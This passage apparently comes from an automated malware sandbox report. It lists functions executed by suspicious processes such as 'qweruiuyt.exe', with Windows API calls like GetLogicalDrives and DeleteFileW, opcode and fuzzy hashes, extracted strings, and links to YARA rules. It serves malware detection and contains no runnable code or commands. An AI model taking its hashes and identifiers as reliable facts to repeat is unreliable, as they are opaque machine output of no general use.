Instruction Fuzzy Hash: 961182B55093809FDB11CF55DC85B92FFA4EF52324F0980ABED488F253D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0264BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 0264BA7E

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dbeb2801a38e59cd719fe2662251f90fdbbd2b9806690160699eb1f5202757c4
Instruction ID: 76092fe0a5bfb6328014549cd0f772e85154cd06d0f807dca9cdf52fd3fbccb7
Opcode Fuzzy Hash: dbeb2801a38e59cd719fe2662251f90fdbbd2b9806690160699eb1f5202757c4
Instruction Fuzzy Hash: 38118E72904704DFDB21DF55DC44B62FBE4EF04214F0884AAEE898A612D771E454DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0264A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 0264A23E

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 06f6c7b79142f17571a73f68564ea4a3ca359158f65fd6224c1cd2af414a626b
Instruction ID: de94cb85617ced18e79d9a8a39bebe9e18577ec6a550cf6dab6caa2de70aa405
Opcode Fuzzy Hash: 06f6c7b79142f17571a73f68564ea4a3ca359158f65fd6224c1cd2af414a626b
Instruction Fuzzy Hash: 32017171900600ABE310DF16DC46B66FBA8FB84A20F14816AED089B741D235B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027B104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 027B109E

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 359ba3644da2cb6563dea012c038c99071d1a43e17e869f794bba8718c475a86
Instruction ID: 71f6511d764b07de1344b8923981d7ec958ecf976cdb48a2df19e49fb7a501cf
Opcode Fuzzy Hash: 359ba3644da2cb6563dea012c038c99071d1a43e17e869f794bba8718c475a86
Instruction Fuzzy Hash: B8017171900600ABE310DF16DC46B66FBA8FB84B20F14816AED089B741D235B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 027B0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 027B01D0

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: eef19e438da4e763279e777e273c7b2b485d931a7581826a3892e37b978a6520
Instruction ID: f10da2a8da5fbf0561cd004f9dc33b6c0975bbee094094084251c7e0d8482f61
Opcode Fuzzy Hash: eef19e438da4e763279e777e273c7b2b485d931a7581826a3892e37b978a6520
Instruction Fuzzy Hash: 36015E71A007449FEB11DF65DC857AAFB98EF01620F0884AADC09CB642D674E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0264BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleScreenBufferInfo.KERNEL32 ref: 0264BB2F

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: BufferConsoleInfoScreen
String ID:
API String ID: 3437242342-0
Opcode ID: 73588eb4163cae93fa7ff91151ff6fe12947d0e5ae2f20d1a0fc1dd7968af3f2
Instruction ID: 2c26395bd2ff928073a3e4acfcf159efcf7b6d41db8ed3aed2e131be3c259ac9
Opcode Fuzzy Hash: 73588eb4163cae93fa7ff91151ff6fe12947d0e5ae2f20d1a0fc1dd7968af3f2
Instruction Fuzzy Hash: BF018F75900340DFEB20DF15DC857A6FBA4EF05624F08C4AADD898B656DA75E804CB62

Uniqueness

Uniqueness Score: -1.00%

Function 027B12FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 027B132F

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 956ddb39096b708f1bd71c41bb65223bc2abda545ba1ddca227de6713f8eba17
Instruction ID: 86b94d2db5d30ecaa5eca2aa7d346d416b60377a23e63ec3f6b13cb2457414b2
Opcode Fuzzy Hash: 956ddb39096b708f1bd71c41bb65223bc2abda545ba1ddca227de6713f8eba17
Instruction Fuzzy Hash: 2A01DF71504300DFEF11DF15DC857A6FBA4EF04620F48C4AADC09CB642E275A404CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0264A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 0264A94A

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 40d9c53900a0c61f4985ed72269868f0e8436f76119ad1d5ea227df41ae1d466
Instruction ID: ca8a18358404b0deda3e1f7536b152c7fe4cbb14167709a7bd316559e0bb6bb9
Opcode Fuzzy Hash: 40d9c53900a0c61f4985ed72269868f0e8436f76119ad1d5ea227df41ae1d466
Instruction Fuzzy Hash: 91016D71A00600ABE314DF16DC86B26FBA8FB88B20F14825AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027B0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 027B0FB0

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 7a798d493632135cffbda7d5bad807b133aa9193ba368df179c057988ffe5057
Instruction ID: 43db838cd89712413edbb06c1a79bebe23419602a6f73dab33651425ba9e2669
Opcode Fuzzy Hash: 7a798d493632135cffbda7d5bad807b133aa9193ba368df179c057988ffe5057
Instruction Fuzzy Hash: A9018B71A00340DFEB21DF15DC89BA6FBA4EF01660F08C4AADC488F246D374E408CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027B04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 027B0502

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 428946a417dd3e6ced7cc8a55da64bbbb8f5795067b85f9b89980025d1b0fb77
Instruction ID: 195ee0747bba02a32c8c7df13a1d67a7e874721edfc8be8d8640fe2a2be1e0df
Opcode Fuzzy Hash: 428946a417dd3e6ced7cc8a55da64bbbb8f5795067b85f9b89980025d1b0fb77
Instruction Fuzzy Hash: 7F016D71A00600ABE314DF16DC86B26FBA8FB88B20F14825AED085B741D275F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 027B060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 027B0640

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: c5c3dd28572b80645e05bb4d4191ff4cafa58a42a6968724afcc413941d4ac31
Instruction ID: 1bc03254a25679f1eb32eb6d84db9855f331c7b9343129b8d3d6d02cc427f720
Opcode Fuzzy Hash: c5c3dd28572b80645e05bb4d4191ff4cafa58a42a6968724afcc413941d4ac31
Instruction Fuzzy Hash: 4A01F435600700CFEB118F25DC857A6FBA0EF41724F08C0AADC498B752D274E404CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0264AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0264ABC9

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: c571a4d66d6d9bed8e08c1c9251f22280cba20ae6f5d59ecd3624324ece93227
Instruction ID: aa3adb2a5c9657c90293229cd661c28de3c2485d27cb7de7ba42a5dafd2a7e67
Opcode Fuzzy Hash: c571a4d66d6d9bed8e08c1c9251f22280cba20ae6f5d59ecd3624324ece93227
Instruction Fuzzy Hash: B201D171504340DFEB10DF95DC857A1FB94DF00220F08C0AADD488F242D674A804CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 027B1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 027B1148

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 2b6319df25cba8ea2d6f423dd3328d5d7f4e05fdd616b10e885191e58b9e97e8
Instruction ID: 7dc7bbba9661ecfa9937b63654f01b741a297e4c70ef76d5d4882395f3c35963
Opcode Fuzzy Hash: 2b6319df25cba8ea2d6f423dd3328d5d7f4e05fdd616b10e885191e58b9e97e8
Instruction Fuzzy Hash: 70F0AF35500744DFEB21DF05DC857A6FBA4EF05A21F48C0AADD494B352D675A444CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0264A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0264A39C

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a17c6fdf9e4223b402d4ae6a2ddcc74a72e9680f9e7cbe688f8812548201690e
Instruction ID: 68a56a9993e27df7c2ab61a71f6e11e479ec55863a0459c57524347b7af0c433
Opcode Fuzzy Hash: a17c6fdf9e4223b402d4ae6a2ddcc74a72e9680f9e7cbe688f8812548201690e
Instruction Fuzzy Hash: 16F0AF35504740EFEB219F45DC89765FBA0EF04725F08C09ADD898B352E775A804CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 027B096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 027B099C

Memory Dump Source

Source File: 0000001D.00000002.2225850371.00000000027B0000.00000040.00000001.sdmp, Offset: 027B0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 028556ceb8a0ba7aa1244488ce725033cf1c9dcaf73090f96633b07e366ebd55
Instruction ID: a41cd50d6b8d30b2495fbb9e8884e254c10a42414f673e4bbd1f3b0878932771
Opcode Fuzzy Hash: 028556ceb8a0ba7aa1244488ce725033cf1c9dcaf73090f96633b07e366ebd55
Instruction Fuzzy Hash: D0F0CD35904740DFEB21DF06DC897A6FFA0EF18721F08C0AADD894B356D375A408CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0264AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0264AA71

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: a2e559f745a7575d13aeaee76699758f32cc9588fc778982f84f173483930731
Instruction ID: 7a31c07ba494c26e06d377dc1c3871759359e2d2ad2bd19f7f2aef4095fca879
Opcode Fuzzy Hash: a2e559f745a7575d13aeaee76699758f32cc9588fc778982f84f173483930731
Instruction Fuzzy Hash: A5F0CD31940740EFEB10CF45DA89761FBA4EF04621F08C09BDD894B342D679A988CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0264A974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0264A9C8

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e00201451894faa73acc4290e789fa987a18f87d4f85df0ba5c26d56f46d10c0
Instruction ID: 8453bfdec4f443c142b7cb23d97b72d6235927035ad8f549e1107108cad98d88
Opcode Fuzzy Hash: e00201451894faa73acc4290e789fa987a18f87d4f85df0ba5c26d56f46d10c0
Instruction Fuzzy Hash: 3211A3715093809FD712CF25DC59B92FFA4DF02220F0980EBED858B252D275A848CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0264A996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 0264A9C8

Memory Dump Source

Source File: 0000001D.00000002.2225384691.000000000264A000.00000040.00000001.sdmp, Offset: 0264A000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9763597128395332e1c3f74eb5694a1e7d0184b5e9e8f1613d94a6349bd8737a
Instruction ID: 639d00250e0fd355c83bcd1e61ed43336204a94a78c05e8cdcae86b52e021f34
Opcode Fuzzy Hash: 9763597128395332e1c3f74eb5694a1e7d0184b5e9e8f1613d94a6349bd8737a
Instruction Fuzzy Hash: E401FD71604740EFEB10DF55DC897A6FBA4EF01220F08C0ABDC498B342DA75A844CB62

Uniqueness

Uniqueness Score: -1.00%

Function 026423F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2225376393.0000000002642000.00000040.00000001.sdmp, Offset: 02642000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c381996e0931c383b61c85ba6c488d3f778f0607197828d1b5d5be5c5e571d2e
Instruction ID: 27212f546fa50dda72043deb96b0824757e46e5ed8d3b424cdfb8342430b35ef
Opcode Fuzzy Hash: c381996e0931c383b61c85ba6c488d3f778f0607197828d1b5d5be5c5e571d2e
Instruction Fuzzy Hash: BDD05E79204A818FD7168A1CC1A8BA53B94AF55B08F9644F9FC80CB7A3CB68E5D1D200

Uniqueness

Uniqueness Score: -1.00%

Function 026423BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.2225376393.0000000002642000.00000040.00000001.sdmp, Offset: 02642000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bad37e46d7edfeb270b575bfdee246cb3cbc5a29943a672b8137a7a85c1d98db
Instruction ID: 551d22acd5e41abd474102f4040914fe8963372200564781b580ba453d290cfb
Opcode Fuzzy Hash: bad37e46d7edfeb270b575bfdee246cb3cbc5a29943a672b8137a7a85c1d98db
Instruction Fuzzy Hash: 8FD05E343006818FDB16CA1CC1A4F5973E4AF40708F1644E8BC408B366C7A4E880C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: e888z168ybTRefC409a4S5mn41ofdd.exe PID: 2532 Parent PID: 2948 e888z168ybTRefC409a4S5mn41ofdd.exeCOMMON

Executed Functions

Function 001F6CC8, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 001F6D88

Memory Dump Source

Source File: 00000020.00000002.2355032245.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 623316797657fd8df784f30f0bb4eba47f1d0a905ce316c9513ee29c96869758
Instruction ID: 950c6a592e8b44a23284ebe8f82c7bd7ddf43a57dcdd1eec44084bd50b55ce88
Opcode Fuzzy Hash: 623316797657fd8df784f30f0bb4eba47f1d0a905ce316c9513ee29c96869758
Instruction Fuzzy Hash: 2D31CC70E002099FCB10CFA9D444BEEBBF4EF49314F14852AD988B7240DB38A905CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0017D48C, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354410719.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 461692ea4a7c3b241756ccea04cfe11446ded461923f1ab7180c8852ae8c04ba
Instruction ID: 77342a06e5a50f7eb944e6938f2ba01a481824e2a4128604b60092059bbbce0c
Opcode Fuzzy Hash: 461692ea4a7c3b241756ccea04cfe11446ded461923f1ab7180c8852ae8c04ba
Instruction Fuzzy Hash: 00210375604208DFCB05DF10E980B66BFB6FF94728F24C569E8090B606C336D846CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0017D578, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354410719.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96271aaa398b09a5738483fe6cbb6e57a89782c7ea6a45e872c90ef49d143ea1
Instruction ID: 80dd3437a347ce6655a0f2f97c71f1637c9102654d732f00e382ce4b8317458f
Opcode Fuzzy Hash: 96271aaa398b09a5738483fe6cbb6e57a89782c7ea6a45e872c90ef49d143ea1
Instruction Fuzzy Hash: AD21F175504208DFCB15CF50E980B5ABF75FF98328F24C569E80D0B246C336D846C6A2

Uniqueness

Uniqueness Score: -1.00%

Function 0018D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354640184.000000000018D000.00000040.00000001.sdmp, Offset: 0018D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7a2da9bd7edf810c7ef85e5055b280fee13a21d8951117d0bcaa251cf2c6d4
Instruction ID: b2fbbcc442a3842224d7a965097c8ea8f22577292d4078f995e9afbb9ec75d18
Opcode Fuzzy Hash: 1e7a2da9bd7edf810c7ef85e5055b280fee13a21d8951117d0bcaa251cf2c6d4
Instruction Fuzzy Hash: AC21F575604304DFDB14EF54E884B16BBA5EB84314F34C969E8494B286C336D907CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0018E674, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354640184.000000000018D000.00000040.00000001.sdmp, Offset: 0018D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3251c10faaa1929f9cb7f9120942ece3b1f66c028f75504482fb78a82b6d4626
Instruction ID: 945383bff6498b0199bac29824bb670e34c114624c522b546cc21f02159a8f74
Opcode Fuzzy Hash: 3251c10faaa1929f9cb7f9120942ece3b1f66c028f75504482fb78a82b6d4626
Instruction Fuzzy Hash: 9D210479604244EFCB04EF60D8C4B26BBE5FB84718F34C9A9D8494B242C336E906CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0017D487, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354410719.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction ID: 2f4de9e063b0ff786ad39cf036cbf125b6abd320405b198b0d9584a56e1e0371
Opcode Fuzzy Hash: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction Fuzzy Hash: 3311D376504244CFCB02CF14E9C4B16BF72FF94318F24C6A9D8094B616C336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0017D573, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354410719.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction ID: d8573744d6e2243b18bdb3dcf03867a6352fe46a850d5bd611b8dd7c4cbcf5ec
Opcode Fuzzy Hash: 772d9e921c2fce2dafd33dba83f54ccbdf3521af3385b63af9a5700ceb345e8c
Instruction Fuzzy Hash: 4711B176404284CFCB12CF14E9C4B16BF72FF95324F24C5A9E8090B616C336D856CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0018D017, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354640184.000000000018D000.00000040.00000001.sdmp, Offset: 0018D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c3f5bb668936d2efe1fd5f391589a95ba7ff612a20b3a2dc726edd9804e952
Instruction ID: 73f0251d74e8cd6d1841e5f674de95743a7a2d6a9ee17cda784ee302ed42f8a6
Opcode Fuzzy Hash: 24c3f5bb668936d2efe1fd5f391589a95ba7ff612a20b3a2dc726edd9804e952
Instruction Fuzzy Hash: 6A11BE75504384CFCB11CF14E584B15BB61FB44314F24C6A9E8094B696C33AD90ACFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0018E66F, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354640184.000000000018D000.00000040.00000001.sdmp, Offset: 0018D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c3f5bb668936d2efe1fd5f391589a95ba7ff612a20b3a2dc726edd9804e952
Instruction ID: 5761e7c2892f6024971844ca5fb0906acc166a874cb987e9249ff4eda81939be
Opcode Fuzzy Hash: 24c3f5bb668936d2efe1fd5f391589a95ba7ff612a20b3a2dc726edd9804e952
Instruction Fuzzy Hash: E111DD79504280CFCB01DF10D5C4B15BFA2FB84318F28C6A9D8494B652C33AD90ACFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0017D795, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354410719.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a9c0f2f83fbed940a49abf2904da5ef7aca24b0fb352d0198d953f03448b09
Instruction ID: 62e49f3381c88c393dff67d43637215feea1cc2e8ee9918cb6fac123273b3f19
Opcode Fuzzy Hash: 55a9c0f2f83fbed940a49abf2904da5ef7aca24b0fb352d0198d953f03448b09
Instruction Fuzzy Hash: C101A7710083489AD7288A66DC84BA7BFFCEF51728F24C55ADE4D1B282D3799C40C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0017D794, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2354410719.000000000017D000.00000040.00000001.sdmp, Offset: 0017D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 685cc758998ac190409012c049bb28dae608393227c830005e4b4fc9efff88e3
Instruction ID: 87a63dc62dd3edfaf45405ddf76234e0235635df268b00104f118545299e2848
Opcode Fuzzy Hash: 685cc758998ac190409012c049bb28dae608393227c830005e4b4fc9efff88e3
Instruction Fuzzy Hash: 74F062714043449EE7248E15DC88B67FFE8EF51724F28C55AED485B286C3799C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: qweruiuyt.exe PID: 2032 Parent PID: 1388 qweruiuyt.exeCOMMON

Executed Functions

Function 00320490, Relevance: 28.3, Strings: 22, Instructions: 829COMMON

Download Yara Rule

Strings

$O*, xrefs: 003204AF
fCl, xrefs: 00320C3D
fCl, xrefs: 0032097B
fCl, xrefs: 00320617
fCl, xrefs: 003206C1
$O*, xrefs: 00320DE7
]*, xrefs: 0032119E
$O*, xrefs: 00320FF5
fCl, xrefs: 00320C14
fCl, xrefs: 00320DB0
$O*, xrefs: 003206F6
fCl, xrefs: 00321001
]*, xrefs: 003211D8
fCl, xrefs: 0032112C
fCl, xrefs: 00320702
$O*, xrefs: 0032096F
$O*, xrefs: 00320C31
fCl, xrefs: 00320FD8
]*, xrefs: 003211C8
fCl, xrefs: 00320DF3
fCl, xrefs: 00320953
fCl, xrefs: 003204BC

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: $O*$$O*$$O*$$O*$$O*$$O*$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$]*$]*$]*
API String ID: 0-4242422180
Opcode ID: f035394193f75227ee60200a0fb5c942e366688f8533ccf838e7155bd2269fd4
Instruction ID: 1c524daceffceb46e378c0b216e31cc846aa10a49877b740db64ee7c13d138d0
Opcode Fuzzy Hash: f035394193f75227ee60200a0fb5c942e366688f8533ccf838e7155bd2269fd4
Instruction Fuzzy Hash: DC52B3387200186FEF0D97A89511BEE76ABD7CC780F2088799806537D8CFB65C69D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00320480, Relevance: 24.5, Strings: 19, Instructions: 797COMMON

Download Yara Rule

Strings

$O*, xrefs: 003204AF
fCl, xrefs: 00320C3D
fCl, xrefs: 0032097B
fCl, xrefs: 00320617
fCl, xrefs: 003206C1
$O*, xrefs: 00320DE7
$O*, xrefs: 00320FF5
fCl, xrefs: 00320C14
fCl, xrefs: 00320DB0
$O*, xrefs: 003206F6
fCl, xrefs: 00321001
fCl, xrefs: 0032112C
fCl, xrefs: 00320702
$O*, xrefs: 0032096F
$O*, xrefs: 00320C31
fCl, xrefs: 00320FD8
fCl, xrefs: 00320DF3
fCl, xrefs: 00320953
fCl, xrefs: 003204BC

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: $O*$$O*$$O*$$O*$$O*$$O*$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl$fCl
API String ID: 0-850300077
Opcode ID: b3c33968734222b92a73fae762f1628a837251de5ae32724ae2f4435dacbe702
Instruction ID: b76e8fe23e04a38b3a8386d2c2b7bae4ba70727c39be66918c0d1610dabd6617
Opcode Fuzzy Hash: b3c33968734222b92a73fae762f1628a837251de5ae32724ae2f4435dacbe702
Instruction Fuzzy Hash: 5952C4387200186FEF0D97A89511BEE75ABD7CC780F2088399802537E8CFB65C69D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00321240, Relevance: 13.2, Strings: 9, Instructions: 1939COMMON

Download Yara Rule

Strings

p:Zl, xrefs: 003232AD
fCl, xrefs: 00321F59
fCl, xrefs: 003215FF
p:Zl, xrefs: 003232A1
fCl, xrefs: 003228B3
481m, xrefs: 003215A5
fCl, xrefs: 0032126C
HZl, xrefs: 00321580
8]*, xrefs: 0032324F

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: 481m$8]*$fCl$fCl$fCl$fCl$p:Zl$p:Zl$HZl
API String ID: 0-2481657238
Opcode ID: 43009fc560b2835e288461b0754303e0a6924c5008b12c61f04bd2ed027d3695
Instruction ID: 6c2c70b3248e6422e0f79a57f23d567b8093bb6f5f7966076b671225a301c51e
Opcode Fuzzy Hash: 43009fc560b2835e288461b0754303e0a6924c5008b12c61f04bd2ed027d3695
Instruction Fuzzy Hash: 20E2ED38B6001C6FEF0E57A49911FDD759BE78C784F204C39980252398CFF658A9EB95

Uniqueness

Uniqueness Score: -1.00%

Function 00323420, Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

fCl, xrefs: 0032343B

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: fCl
API String ID: 0-625834680
Opcode ID: 60ed2a720a66a674b0645b470ec2c1d7fe4ecfa520ee2171f08ac41111dca11e
Instruction ID: d11523f2ed8b739e40356c7d83772cec8a744b14312daf760a1366f36d3b1a01
Opcode Fuzzy Hash: 60ed2a720a66a674b0645b470ec2c1d7fe4ecfa520ee2171f08ac41111dca11e
Instruction Fuzzy Hash: 5431B1357842087FDB15CF35AC52FAA7763ABC8380F118928FA059B2D5CB71AD25C794

Uniqueness

Uniqueness Score: -1.00%

Function 003211F8, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.2339957603.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7accb2702171504ea478561bc897c9d2677e82b33005c11ea6a44fc1131b8bd2
Instruction ID: 6177a0ed0660527dab528dd74efbd07f151a4d13dc5c23ebaee20297d389eab0
Opcode Fuzzy Hash: 7accb2702171504ea478561bc897c9d2677e82b33005c11ea6a44fc1131b8bd2
